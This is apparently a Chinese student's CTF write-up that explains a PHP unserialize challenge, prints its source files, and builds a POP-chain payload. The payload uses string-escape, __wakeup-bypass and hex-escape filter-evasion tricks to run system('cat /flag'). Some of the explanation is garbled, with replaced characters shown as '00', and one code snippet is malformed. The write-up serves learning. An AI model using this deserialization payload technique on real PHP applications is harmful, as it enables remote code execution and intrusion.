昨天晚上开会复现了web辅助,忙着回宿舍补作业,今天把复现的内容总结一下。
index.php代码:
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}
?>
可以看到是通过username和password传参,然后存入caches,并序列化,然后去找player
play.php代码:
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>
这里看到是将caches的值通过check函数的检查并且通过read函数进行读取,并且反序列化,然后引用使get_admin为1,于是去找player类,在class.php中,代码:
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
在class.php中,引用了多个魔术方法。分析代码,函数这里是构造了pop链,topsolo类的TP方法进行对象调用,从而触发midsolo的__invoke方法然后触发Gank方法,stristr是对字符串的操作触发了jungle类的__toString方法获得flag,理清拿flag的思路后开始构造payload。
common.php代码:
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
构造payload:
内容:构造一个恶意的topsolo对象:
$jungle = new $jungle(NULL);
$midsolo = new $midsolo($jungle);
$topsolo = new $topsolo($midsolo);
$a =serialize($topsolo);
绕过:可以看到在这里进行了两次替换和一次过滤,第一次替换是在输入时,在这里会将00替换为00,然后,在下一次读取时,会将00替换为00,于是利用字符逃逸进行对将payload输入。然后还有一次替换,是在check()函数中,只要出现name就不允许输入,这里利用大写S会支持序列化中的十六进制转码来绕过。
此时payload:username=0000000000000000000000&password=A;O:7:"topsolo":1:{S:7:"%00%006eame";O:7:"midsolo":2:{S:7:"%00%006eame";O:6:"jungle":1:{S:7:"%00%006eame";N;}}}
总结:1.__wakeup()函数绕过:如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。
2.字符逃逸,在read和write函数里可以通过对00和00的替换进行字符逃逸。
3.对于在序列化中的check函数的过滤,可以使用大写S然后十六进制的过滤方式
4.一些魔术方法:
__construct(),类的构造函数
__destruct(),类的析构函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式,调用一个对象时的回应方法
__wakeup(),执行unseriallize()函数时,先会调用这个函数。
评论 (0)